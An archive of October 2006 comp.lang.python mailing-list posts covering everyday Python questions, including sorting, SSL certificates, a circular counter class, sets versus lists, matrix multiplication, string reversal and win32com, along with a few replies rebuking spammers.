accomplished without ever converting the arg to "reversed" to a list. While "sorted" could be special cased for those cases, the chances of real useful code containing, "sorted(xrange(a, b, c))" are pretty slim. If you don't have to build the list in memory, returning a list can make a program that could be very memory efficient suddenly _much_ less so. -- --Scott David Daniels scott.daniels at acm.org From jmpurser at gmail.com Sat Oct 21 15:03:53 2006 From: jmpurser at gmail.com (John Purser) Date: Sat, 21 Oct 2006 12:03:53 -0700 Subject: What About Next Laptop Computers? In-Reply-To: <1161456707.355956.152850@i42g2000cwa.googlegroups.com> References: <1161456707.355956.152850@i42g2000cwa.googlegroups.com> Message-ID: <1161457433.5907.0.camel@localhost.localdomain> On Sat, 2006-10-21 at 11:51 -0700, Joe wrote: > L International Reveals Plans for High-Tech > Next-Generation Laptop Computer Systems > > L International Computers Inc. "L" renowned manufacturer of > high-performance computers and personal/business technologies, revealed > plans for its next generation high-end laptop and ultra-portable > computer systems. > > To read this articles, go to: > http://www.contactomagazine.com/laptopcomputers1006.htm > > More Business and Computer News: > http://www.contactomagazine.com/business.htm > Golly Joe, why would any member of a mailing list be interested in products advertised by spamming their mailing list? From premiergeneration at yahoo.com Tue Oct 24 01:08:03 2006 From: premiergeneration at yahoo.com (Yogesh Chawla - PD) Date: Mon, 23 Oct 2006 22:08:03 -0700 (PDT) Subject: SSL follow up In-Reply-To: <20061024010401.35037.qmail@web82708.mail.mud.yahoo.com> Message-ID: <20061024050803.66708.qmail@web82703.mail.mud.yahoo.com> Hi Paul and John, Thanks for the SSL follow up messages. I have 2 questions. 1) How do we get the Server cert in python. John wrote: "Nor does there seem to be a way to get at the certificate itself from within Python." Perhaps pycurl will allow us to do this. Is there another method to get the server cert? 2) I like the idea of calling openssl in a subprocess. Do you have any of those openssl commands handy? If not, I can look through the documentation tommorrow. Thanks! Yogesh From p.lavarre at ieee.org Wed Oct 25 19:57:47 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 25 Oct 2006 16:57:47 -0700 Subject: call Mac gcc -framework from CTypes how In-Reply-To: <1161802274.067960.326920@m73g2000cwd.googlegroups.com> References: <1161218951.763867.148520@i3g2000cwc.googlegroups.com> <1161802274.067960.326920@m73g2000cwd.googlegroups.com> Message-ID: <1161820667.412646.99440@m73g2000cwd.googlegroups.com> > > can I somehow call the IONotificationPortCreate in the > > Framework that Apple built instead, > > $ cd /System/Library/Frameworks/ > $ cd IOKit.framework/Versions/Current/ > $ file IOKit Also ctypes.util.find_library('CoreFoundation') From ldo at geek-central.gen.new_zealand Sat Oct 7 23:36:15 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Sun, 08 Oct 2006 16:36:15 +1300 Subject: error handling in user input: is this natural or just laborious References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> Message-ID: In message , James Stroud wrote: > Patently. Tabs should be reserved for tables, for which tabs were named. > If they were meant to be used for indenting, they would have been > named "indenters". Really? I thought they were for tabulators . From ldo at geek-central.gen.new_zealand Sun Oct 8 18:26:06 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 11:26:06 +1300 Subject: testing machine responsiveness References: Message-ID: In message , Tim Arnold wrote: > try: > s.connect((cpu,7)) > except: > return 0 > try: > s.send('test') > s.recv(128) > s.close() > return 1 > except: > return 0 Call me nervous, but I like to make my "except" clauses as specific as possible, to catch only the errors I'm expecting. This is to minimize the chance of some hidden bug sneaking through and causing the wrong behaviour. > > try: > rup = os.popen('rup %s | sort -n -t, -k4 | grep day' % > (self.asString)) > except OSError: > return self.asList So if the rup call fails, you're returning a plain list of all the hostnames? Won't this cause the following parsing to fail? If you're going to trigger a failure, isn't it better for it to happen as close as possible to the actual cause? In other words, take out the try/except block above and let the os.popen call itself directly signal an exception on failure. Disclaimer: I've never actually used rup. :) From grflanagan at yahoo.co.uk Mon Oct 9 06:05:06 2006 From: grflanagan at yahoo.co.uk (Gerard Flanagan) Date: 9 Oct 2006 03:05:06 -0700 Subject: Implementing a circular counter using property / descriptors? In-Reply-To: References: Message-ID: <1160388306.210573.229650@m73g2000cwd.googlegroups.com> IloChab wrote: > I'd like to implement an object that represents a circular counter, i.e. > an integer that returns to zero when it goes over it's maxVal. > > This counter has a particular behavior in comparison: if I compare two of > them an they differ less than half of maxVal I want that, for example, > 0 > maxVal gives true. > This is because my different counters grew together and they never > differ a lot between them and so a value of 0 compared with an other of > maxVal means that the previous one just made its increment before the > other one. > > The python problem that I give you it's about style. > I'd like to write in my code something that looks almost like using an > integer object. > > I mean, I'd like to write: > > cnt = CircularConter(maxVal=100, initialVal=10) > cnt += 100 # cnt value is 9 > print cnt # prints 9 > 100 > cnt # is false > cnt = 100 # cnt new value is 100 [NOT rebind cnt with 100] > [...] > ... and so my real writing was: > > cnt = CircularConter(maxVal=100, initialVal=10) > cnt += 100 > print cnt > 100 > cnt # is false > cnt.set(100) > > The fact is that I don't like to write cnt.set(100) or > cnt = CircularConter(100, 100) instead of cnt = 100. > So I thought that property or descriptors could be useful. > I was even glad to write: > > cnt = CircularConterWithProperty(maxVal=100, initialVal=10) > cnt.val += 100 > print cnt.val > 100 > cnt.val # is false > cnt.val = 100 > > just to give uniformity to counter accessing syntax. > But I wasn't able to implement nothing working with my __cmp__ method. > [...] > > __ What I don't know __ is if there is a way to write a class that allows > my desire of uniform syntax or if IT IS JUST A NON SENSE. > > I'll thank in advance for any answer. > > Saluti a tutti > Licia As Steven said, it's not possible to do what you want. I don't think there's any way around either cnt.val = 100 or cnt.setval(100) Here's an iterator version of your Counter class: class Counter(object): def __init__(self, maxval, initval=0): self.maxval = maxval self.val = initval def __iter__(self): return self def next(self): ret = self.val self.__add__(1) return ret def __add__(self, increment): self.val = (self.val + increment) % self.maxval return self def __sub__(self, decrement): self.val = (self.val - decrement) % self.maxval return self def __cmp__(self, operand): return cmp(self.maxval/2, abs(operand - self.val)) * cmp(self.val,operand) def __repr__(self): return str(self.val) def __str__(self): return str(self.val) cnt = Counter(10) print cnt cnt += 23 print cnt, cnt > 5 cnt.val = 7 print print cnt, cnt > 5 cnt -= 65 print print cnt, cnt > 5 print print zip(cnt, ['a', 'b', 'c', 'd']) ----------------------- Gerard From nbridges at interlog.com Thu Oct 12 11:42:45 2006 From: nbridges at interlog.com (Neal Bridges) Date: Thu, 12 Oct 2006 11:42:45 -0400 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: <12isojlasb7p003@corp.supernews.com> "John Doty" wrote in message news:WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d at wispertel.com... [snip] > Here's a K&R C function I wrote almost 20 years ago. [code snipped] John, 'man indent' right away! -- Neal Bridges http://quartus.net Home of Quartus Forth for the Palm OS! From deets at nospam.web.de Fri Oct 6 06:55:57 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Fri, 06 Oct 2006 12:55:57 +0200 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: <4omr1tFfbn9dU1@uni-berlin.de> hanumizzle schrieb: > On 10/6/06, Diez B. Roggisch wrote: > >> This is on the same level of interest to the communities of python, ruby >> & java as the color of my socks this morning - a deep black with cute >> little skulls imprinted. > > Where did you get these? You can buy them at H&M, but unfortunately they aren't always in stock. But little skulls on thingies the have quite often - I don't wanna get into the details of my underwear.... :P Diez From http Sun Oct 22 22:47:02 2006 From: http (Paul Rubin) Date: 22 Oct 2006 19:47:02 -0700 Subject: comp.lang.python, comp.sys.ibm.pc.games.rpg, comp.arch.embedded, comp.programming, comp.text.txt References: <1161571237.942887.159530@m7g2000cwm.googlegroups.com> Message-ID: <7xfydf21g9.fsf@ruckus.brouhaha.com> vilebuzz at hotmail.com writes: > trying to find out where everyone else is buying/selling at other than > ebay, any recomendations? Yes, one thing for sure, those of us with sense don't buy from spammers like yourself. From vedran_dekovic at yahoo.com Mon Oct 2 08:57:38 2006 From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com) Date: 2 Oct 2006 05:57:38 -0700 Subject: PYTHON PHONE MODULE Message-ID: <1159793857.974408.114000@e3g2000cwe.googlegroups.com> Hello, Can you tell me one simple python phone module and if that module have some moudules which need download from internet,then give me urls of that modules THANKS!!!!!!!!!!!!!!!!!!!!!!!!!! From ilias at lazaridis.com Wed Oct 11 21:56:30 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 18:56:30 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: <1160618190.314729.236250@c28g2000cwb.googlegroups.com> Peter Decker wrote: > On 10/10/06, Peter Maas wrote: > > > I for my part would be happy to see a Delphi-like RAD tool for Python, > > a reference implementation for web programming as part of the standard > > library, Jython 2.5, Python for PHP or whatever attracts new programmers. > > I think you should take a good look at Dabo and the visual tools they > are creating. While I would be the first one to admit that they are > not polished to the level of Delphi, they are pretty amazing for a > couple of guys working in their spare time! If we could get more of > the community to contribute to this project, I don't think that there > would be any other RAD tool that would come close. > -- > > # p.d. yes, an interesting tool. But to get more attention and developers, the project needs to be polished. really unattractive resources: http://dabodev.com http://case.lazaridis.com/wiki/DaboAudit From MonkeeSage at gmail.com Tue Oct 10 00:41:20 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 9 Oct 2006 21:41:20 -0700 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> <1160335473.625244.261640@m7g2000cwm.googlegroups.com> <1160345922.051578.146630@i3g2000cwc.googlegroups.com> Message-ID: <1160455280.118212.202770@b28g2000cwb.googlegroups.com> On Oct 9, 2:31 am, Steve Holden wrote: > Keep right on guessing. I hope I'm not offending one whom I consider to be much more skilled and versed than I am, not only in python, but in programming in general; but I must say: it seems you are being rather obtuse here. I think I laid out the principal clearly enough, and I know you have the mental capacity to extrapolate from the principal to general use cases. But even so, here is a simple use case from the standard library (python 2.5 release source): In Libs/site.py, lines 302-306: try: for i in range(lineno, lineno + self.MAXLINES): print self.__lines[i] except IndexError: break With my proposal, that could be written as: for i in range(lineno, lineno + self.MAXLINES): if self.__lines.has_index(i): print self.__lines[i] else: break Granted, in this particular case the amount of code is not reduced, but (and I would hope you'd agree) the control flow is certainly easier to follow. > OK, so now we appear to be arguing about whether a feature should go > into Python because *you* find it to be easier to read and write. But I > don't see a groundswell of support from other readers saying "Wow, I've > always wanted to do it like that". *Someone* (other than me!) obviously found it nice to have the dict convenience methods. As for garnishing support, I almost see that as more of a cultural, rather than pragmatic issue. I.e., if it's not there already, then it shouldn't be there: "what is is what should be". Of course, consistently following that naive presumption would totally stiffle *any* extension to python. However, (I think) I do understand the psychology of the matter, and don't fault those who cannot see past what already is (not meaning to implicate you or Fredrick or anyone else -- the comment is innocent). > In fact d.has_key(k) is a historical spelling, retained only for > backwards compatibility, of k in dict. As to the d.get(k, default) > method I really don't see a compelling use case despite your > protestations, and I don't seem to be alone. Please feel free to start > recruiting support. As I stated to another poster; I'm not really concerned with implementation details, only with the presence or absence of convenience methods. You can write "if k in d" as easily as "if index < len(seq)". But semantically, they are similar enough, in my (admittedly lowly) estimation, to desevere similar convenience methods. > The fact that nobody has listed the good reasons why I shouldn't try to > make a computer from mouldy cheese doesn't make this a good idea. Heh. True. I didn't mean to imply that I was arguing from the negative. I was only tring to shift the perspective to include the reasons for the dict convenience methods. If C is good for A, and A is sufficiently similar to B, then C is good for B. But if C is just crud, then forget it all around. ;) On Oct 9, 12:24 pm, Dennis Lee Bieber wrote: > But how do you handle the case of: > > l = [] > i = 10 > > l[i] = l.get(i, 0) + 1 You don't; you just let the IndexError fall through. Same as a KeyError for d[k]. My propopsal is in regard to convencience methods, not to direct access. Ps. Sorry if this comes through twice, Google is being wierd right now. Regards, Jordan From horpner at yahoo.com Tue Oct 24 11:00:24 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 17:00:24 +0200 Subject: The format of filename References: <453e2751$0$13828$4d3efbfe@news.sover.net> Message-ID: On 2006-10-24, Leif K-Brooks wrote: > Neil Cerutti wrote: >> As an example, I'm aware (through osmosis?) that I can use '/' >> as a directory separator in filenames on both Unix and Dos. >> But where is this documented? > > It's documented in the OS's documentation. It can be queried > with os.sep and os.altsep. Thanks. The contents of 6.1.6 Miscellanious System Information seems to be what I'm looking for. -- Neil Cerutti I've had a wonderful evening, but this wasn't it. --Groucho Marx From steve at REMOVEME.cybersource.com.au Mon Oct 23 22:39:37 2006 From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano) Date: Tue, 24 Oct 2006 12:39:37 +1000 Subject: Negative integers and string formating References: <7x64eao4sa.fsf@ruckus.brouhaha.com> Message-ID: On Mon, 23 Oct 2006 18:56:21 -0700, Paul Rubin wrote: > Steven D'Aprano writes: >> def display(**kwargs): >> fs = format(kwargs['argument']) >> return fs % kwargs > > def display(**kwargs): > fs = format(kwargs['argument']) > return fs % dict((x, abs(y)) for x,y in kwargs.iteritems()) That will do it! Thanks, -- Steven From Eric_Dexter at msn.com Thu Oct 19 00:52:57 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 18 Oct 2006 21:52:57 -0700 Subject: passing values to a program Message-ID: <1161233577.817801.278720@k70g2000cwa.googlegroups.com> I almost have this thing running like I want it to run but I want the values to come from the program that calls this one. There are two things I want to pass File_Name and CutString. They both need to go to loadFile routine of Class WordGrid to replace constants. Thank you for putting up with my quesitons in advance. import wx import wx.grid as gridlib #--------------------------------------------------------------------------- class WordGrid(gridlib.Grid): def __init__(self, parent, log): gridlib.Grid.__init__(self, parent, -1) self.loadFile() self.CreateGrid(len(self.rows), self.widestRow) for r, row in enumerate(self.rows): for c, col in enumerate(row): self.SetCellValue(r, c, col) self.SetColSize(c, 10*self.widestCol) for c, label in enumerate(self.header): self.SetColLabelValue(c, label) def loadFile(self): #from_file infile = open('test.sco', 'r') foundHeader = False self.rows = [] for line in infile: if ";" in line: #removefirst = line.split(' ') self.header = line.split() #foundHeader = 'true' continue # we don't want to process this line any further else: self.rows.append(line.split()) self.widestRow = max([len(r) for r in self.rows]) self.widestCol = max([len(c) for c in [r for r in self.rows]]) #--------------------------------------------------------------------------- class TestFrame(wx.Frame): def __init__(self, parent, log): wx.Frame.__init__(self, parent, -1, "Simple Grid Demo", size=(640,480)) grid = WordGrid(self, log) #--------------------------------------------------------------------------- #def main(): def main(From_File, string): import sys From_file = argv[1] #split_string = argv2[2] app = wx.PySimpleApp() frame = TestFrame(None, sys.stdout) frame.Show(True) app.MainLoop() pass if __name__ == '__main__': import sys main('test.sco', 'sfd') http://www.dexrow.com From cginboston at hotmail.com Tue Oct 3 13:07:15 2006 From: cginboston at hotmail.com (Chaz Ginger) Date: Tue, 03 Oct 2006 17:07:15 GMT Subject: Best way to handle large lists? In-Reply-To: References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> Message-ID: <452298C7.8040204@hotmail.com> Jeremy Sanders wrote: > Jeremy Sanders wrote: > >> Chaz Ginger wrote: >> >>> What would sets do for me over lists? >> It's faster to tell whether something is in a set or dict than in a list >> (for some minimum size). > > As a footnote, this program > > import random > num = 100000 > > a = set( range(num) ) > for i in range(100000): > x = random.randint(0, num-1) in a > > completes in less than a second, whereas > > import random > num = 100000 > > a = range(num) > for i in range(100000): > x = random.randint(0, num-1) in a > > takes a long time on my computer. > > Jeremy > Thanks Jeremy. I am in the process of converting my stuff to use sets! I wouldn't have thought it would have made that big a deal! I guess it is live and learn. Peace, Chaz From bernard.chhun at gmail.com Thu Oct 12 07:46:14 2006 From: bernard.chhun at gmail.com (Bernard) Date: 12 Oct 2006 04:46:14 -0700 Subject: error handling In-Reply-To: References: <1160594180.913653.268200@m7g2000cwm.googlegroups.com> Message-ID: <1160653574.335822.57120@k70g2000cwa.googlegroups.com> lol you are so right! I didn't even notice this was the 1.5.2 version! Gabriel Genellina wrote: > At Wednesday 11/10/2006 16:16, Bernard wrote: > > >I just found this webpage showing the most common exceptions: > >http://pydoc.org/1.5.2/exceptions.html > > Why not refer to the *current* documentation? > http://docs.python.org/lib/module-exceptions.html > (You already have it installed with Python) > > 1.5.2 is way too old! > > > -- > Gabriel Genellina > Softlab SRL > > > > > > __________________________________________________ > Pregunt?. Respond?. Descubr?. > Todo lo que quer?as saber, y lo que ni imaginabas, > est? en Yahoo! Respuestas (Beta). > ?Probalo ya! > http://www.yahoo.com.ar/respuestas From pavlovevidence at gmail.com Sun Oct 29 14:27:25 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 29 Oct 2006 11:27:25 -0800 Subject: question about True values In-Reply-To: References: <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> <1162031090.711952.228280@m7g2000cwm.googlegroups.com> <1162107083.907729.127120@f16g2000cwb.googlegroups.com> Message-ID: <1162150045.240442.286460@h48g2000cwc.googlegroups.com> Steven D'Aprano wrote: > It isn't often that I make an appeal to authority, but this is one of > them. No offense, but when it comes to language design its a brave or > foolish programmer who bucks the language idioms that Guido chose. Well, it's pretty clear you consider some abstact notion of unity of style more important than practical considerations of how your data is used. In that case you might as well just go with what the authority tells you to. (And hope that your users don't do much numerical stuff.) Carl Banks From jweida at gmail.com Fri Oct 20 17:13:31 2006 From: jweida at gmail.com (Jerry) Date: 20 Oct 2006 14:13:31 -0700 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> <1161322723.451426.305480@m7g2000cwm.googlegroups.com> Message-ID: <1161378810.977987.88220@m7g2000cwm.googlegroups.com> Thanks to everyone that resonded. I will have to spend some time reading the information that you've provided. To Fredrik, unfortunately yes. I saw the examples, but couldn't get my head wrapped around their purpose. Perhaps it's due to the fact that my only experience with programming is PHP, Perl and Python and to my knowledge only Python supports decorators (though it could be that I just didn't encounter them until I came across Python). -- Jerry From peter.maas at somewhere.com Fri Oct 6 15:43:10 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Fri, 06 Oct 2006 21:43:10 +0200 Subject: n-body problem at shootout.alioth.debian.org Message-ID: I have noticed that in the language shootout at shootout.alioth.debian.org the Python program for the n-body problem is about 50% slower than the Perl program. This is an unusual big difference. I tried to make the Python program faster but without success. Has anybody an explanation for the difference? It's pure math so I expected Perl and Python to have about the same speed. Peter Maas, Aachen From fredrik at pythonware.com Sun Oct 1 14:55:06 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 20:55:06 +0200 Subject: a query on sorting In-Reply-To: <45200547$1@nntp0.pdx.net> References: <20060927092030.76520.qmail@web8508.mail.in.yahoo.com> <45200547$1@nntp0.pdx.net> Message-ID: Scott David Daniels wrote: >> map(tuple,map(reversed,list(enumerate(a)))) > > Doesn't the following read more easily? > > [tuple(reversed(x)) for x in enumerate(a)] that involves two extra name lookups for each item in the sequence, though, so it doesn't execute more easily. From mail at microcorp.co.za Thu Oct 5 00:58:32 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Thu, 5 Oct 2006 06:58:32 +0200 Subject: Python/Tkinter crash. References: Message-ID: <02ba01c6e858$0178d520$03000080@hendrik> "Russell E. Owen" wrote: > In article , > "Hendrik van Rooyen" wrote: > > >Hi, > > > >I get the following: > > > >hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > >UpdateStringProc should not be invoked for type font > >Aborted > >... > >Everything seems to work fine. - there is a thread that runs to move the meter > >values around continuously, and this has been stable for some time now, and I > >can get the various "machine" parts to move around the screen by pushing the > >buttons... > > You mention threads several times in your posting. Do you have multiple > threads talking to Tkinter? If so, try recoding to avoid this (e.g. by > having the background threads communicate with the main thread via > Queues). > > -- Russell I am not sure how to do this - once I have called the Tkinter mainloop - that main thread is essentially event driven - and figuring out how to get it to poll a queue for content is not obvious - I suppose I could arrange some external wake up event that I could activate to make it look at the queue - must read up on this... Thanks it is a good idea as it will make the interface cleaner, and as I have to sort out inter process communication anyway it will make sense to also use a queueing mechanism between the threads in this display process. There is already one queue defined - but its a hack as I use it to pass the main threads id to get around the problem of referring to a class before its defined... - Hendrik From gagsl-py at yahoo.com.ar Tue Oct 24 22:39:21 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 24 Oct 2006 23:39:21 -0300 Subject: win32com problem In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com> Message-ID: <7.0.1.0.0.20061024233831.0420f748@yahoo.com.ar> At Tuesday 24/10/2006 22:15, cfriedalek at gmail.com wrote: >Set Tet = Synergy.StudyDoc.GetFirstTet() >tet = Synergy.StudyDoc.GetFirstTet Can you see the difference...? -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From reivax85 at gmail.com Wed Oct 18 12:51:18 2006 From: reivax85 at gmail.com (Sssasss) Date: 18 Oct 2006 09:51:18 -0700 Subject: matrix Multiplication In-Reply-To: <21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net> References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> <21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net> Message-ID: <1161190278.550922.35640@h48g2000cwc.googlegroups.com> David wrote: > Il 18 Oct 2006 04:17:29 -0700, Sssasss ha scritto: > > > hi evrybody! > > > > I wan't to multiply two square matrixes, and i don't understand why it > > doesn't work. > Can I suggest a little bit less cumbersome algorithm? > > def multmat2(A,B): > "A*B" > if len(A)!=len(B): return "error" # this check is not enough! > n = range(len(A)) > C = [] > for i in n: > C.append([0]*len(A)) # add a row to C > for j in n: > a = A[i] # get row i from A > b = [row[j] for row in B] # get col j from B > C[i][j] = sum([x*y for x,y in zip(a,b)]) > return C > > regards > D. This one is really nice, i didn't knew the zip function, thank you ciao From grahn+nntp at snipabacken.dyndns.org Sun Oct 1 04:30:32 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 1 Oct 2006 08:30:32 GMT Subject: builtin regular expressions? References: <451e37a5$1@news.vo.lu> Message-ID: On Sat, 30 Sep 2006 11:24:56 +0200, Antoine De Groote wrote: > Hello, > > Can anybody tell me the reason(s) why regular expressions are not built > into Python like it is the case with Ruby and I believe Perl? In a way, there /is/ builtin support -- regexes would be much more painful to use unless you had the regex-quoted strings. r'\s*(\d+),\s*(\d+)\s=' '\\s*(\\d+),\\s*(\\d+)\\s=' /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From fredrik at pythonware.com Thu Oct 19 12:25:26 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 18:25:26 +0200 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: rick wrote: > The Ruby approach makes sense to me as a human being. do the humans on your planet spend a lot of time reversing strings? it's definitely not a very common thing to do over here. anyway, if you do this a lot, why not define a helper function? def reverse(s): return s[::-1] print reverse("redael ruoy ot em ekat") From bj_666 at gmx.net Tue Oct 17 13:24:26 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Tue, 17 Oct 2006 19:24:26 +0200 Subject: Faulty encoding settings References: Message-ID: In , Neil Cerutti wrote: > I'm writing an application that needs all internal character data > to be stored in iso-8859-1. It also must allow input and output > using stdin and stdout. > > This works just fine with the Windows binary of Python. > sys.stdin.encoding is correctly set to the encoding of the > current terminal ('cp437'). > > s = sys.stdin.readline() > # Convert to iso-8859-1. > s = s.decode(sys.stdin.encoding).encode('iso-8859-1') > > Granted, users are constrained to entering characters in the > cp437 charset, but that's better than the following. > > The Cygwin binary I have (2.4.3) reports sys.stdin.encoding as > 'US-ASCII', which is quite wrong. A Cygwin terminal uses, as far > as I can tell, iso-8859-1. This renders the above construction > useless if the user enters any character codes above 128. > Using raw_input instead of readline addresses the problem by making > it impossible to enter non-ascii text. > > Please advise. Give the user the ability to explicitly give an encoding. Using the encoding attribute of files is quite fragile. If you redirect stdin or stdout the encoding is set to None for example because the interpreter can't tell what encoding the "other side" of the redirection produces or expects. BTW the US-ASCII isn't wrong but just limiting as everything in the ASCII range is the same in ISO-8859-1. Ciao, Marc 'BlackJack' Rintsch From steve at REMOVE.THIS.cybersource.com.au Sat Oct 21 03:07:37 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 21 Oct 2006 17:07:37 +1000 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> <1161352970.123247.322140@i42g2000cwa.googlegroups.com> Message-ID: On Fri, 20 Oct 2006 16:17:09 +0200, Fredrik Lundh wrote: > Tim N. van der Leeuw wrote: > >> In practice, the short-term fix would be to add a __str__ method to the >> 'reversed' object > > so what should > > str(reversed(range(10))) > > do ? The same as str(range(9, -1, -1)) perhaps? I notice that reversed() already special-cases lists: >>> reversed(tuple(range(5))) >>> reversed("01234") but: >>> reversed(range(5)) I'm not sure why it would do such a thing -- something to do with mutable versus immutable arguments perhaps? It is surprising that x and reversed(x) aren't the same type. This is even more surprising: >>> list(reversed(range(5))) [4, 3, 2, 1, 0] >>> tuple(reversed(tuple(range(5)))) (4, 3, 2, 1, 0) but >>> str(reversed("01234")) '' It could be argued that people shouldn't be reversing strings with reversed(), they should use slicing. But I'll argue that "shouldn't" is too strong a prohibition. Python, in general, prefers named methods and functions for magic syntax, for many good reasons. (e.g. a str.reverse() method could have a doc string; str[::-1] can't.) reversed() is designed to work with sequences, and strings are sequences; it is a recent addition to the language, not a hold-over from Ancient Days; and since nobody seems to be arguing that reversed shouldn't be used for other sequence types, why prohibit strings? This is not an argument *against* slicing -- obviously slicing is too fundamental a part of Python to be abandoned. But since reversed() exists, it should do the right thing. Currently it does the right thing on lists and tuples, but not on strings. Perhaps the solution is to special case strings, just like lists are special cased. Ordinary reversed objects needn't change, but reversed(str) returns a strreverseiterator that has a __str__ method that does the right thing. That's just a suggestion, I daresay if it is an awful suggestion people will tell me soon enough. -- Steven. From cgseymour at gmail.com Mon Oct 30 13:54:28 2006 From: cgseymour at gmail.com (Chris Seymour) Date: 30 Oct 2006 10:54:28 -0800 Subject: ANN: SPE 0.8.3.c Python IDE editor In-Reply-To: <1162213852.270705.275740@b28g2000cwb.googlegroups.com> References: <1162206008.469787.270830@m73g2000cwd.googlegroups.com> <1162213852.270705.275740@b28g2000cwb.googlegroups.com> Message-ID: <1162234468.199971.134690@m7g2000cwm.googlegroups.com> Hi Stani, Not able to reach Berlios. The SourceForge page does not have the Windows installer. Any ideas when it will be available? Thanks. Chris Bernard wrote: > thanks Stani! > > SPE - Stani's Python Editor wrote: > > This is a maintenance release (mostly bug fixing) to prove that SPE is > > alive and well! In case you are using wxPython2.7 you'll need to > > upgrade to this release. Submitted patches will be reviewed and > > included if approved for next release. Thanks for all your patient > > support and continuing donations. > > > > The SPE 0.8.2.a release got downloaded 110550 times on berlios and > > sourceforge together. Not bad. This means SPE has not seen an update > > for a while or is getting very popular. Maybe both ;-) > > > > Installers are available for python 2.3, 2.4 and 2.5 for Windows and as > > a rpm including wxPython. Other operating systems can choose the > > no-setup.zip or targ.gz archives. A .deb archive is being prepared for > > Debian Linux systems such as Ubuntu. > > > > wxGlade is unfortunately not compatible with wxPython2.7. So if you > > want to use, you'll need wxPython2.6. > > > > :**Fixes**: > > > > - output is now done with a fixed font > > - uml.py is now again a stand alone demo > > - upgraded and fixed wxGlade > > - fixed for wxPython2.7 (and still backwards compatible with > > wxPython2.6) > > - updated NotebookCtrl > > > > :**Contributors**: > > > > - Andrea Gavana (NoteBookCtrl) > > - Alberto Griggio (wxGlade) > > - Michael Foord (python 2.3 + 2.5 releases for windows) > > > > :**Donations**: > > > > The development of SPE is driven by donations. Each of these donors > > receives the pdf manual in thanks for their support of SPE. > > > > - James Carroll (60 euro) > > - John DeRosa (50 euro) > > - Fumph LLC (50 euro) > > - Ronald Britton (40 euro) > > - David Downes (40 euro) > > - Jorge Carrillo (40 euro) > > - Nicolas Berney (40 euro) > > - Francois Schnell (30 euro) > > - Olivier Cortes (30 euro) > > - Ayrshire Business Consulting Limited (30 euro) > > - Chris White (25 euro) > > - Thomas Wengerek (20 euro) > > - John Rudolph (20 euro) > > - Michael O'Keefe (20 euro) > > - Michael Brickenstein (20 euro) > > - Richard Walkington (20 euro) > > - Oliver Tomic (20 euro) > > - Jose Maria Cortes Arnal (20 euro) > > - Jeffrey Emminger (20 euro) > > - Eric Pederson (20 $) > > - Charles Bosson (15 euro) > > - Angelo Caruso (15 euro) > > - Chris Hengge (15 $) > > - Loïc Allys (15 euro) > > - Marcin Chojnowski (15 euro) > > - Boris Krasnoiarov (15 euro) > > - Paul Furber (15 euro) > > - Gary Robson (15 euro) > > - Ralf Wieseler (15 euro) > > - Samuel Schulenburg (10 euro) > > - Leland Hulbert II (10 euro) > > - Javier De La Mata Viader (10 euro) > > - Dorman Musical Instruments (10 euro) > > - Jaroslaw Sliwinski (10 euro) > > - Alessandro Patelli (10 euro) > > - James Pretorius (10 euro) > > - Richard Wayne Garganta (10 euro) > > - Maurizio Bracchitta (10 euro) > > - Larry Lynch (10 euro) > > - Kay Fricke (10 euro) > 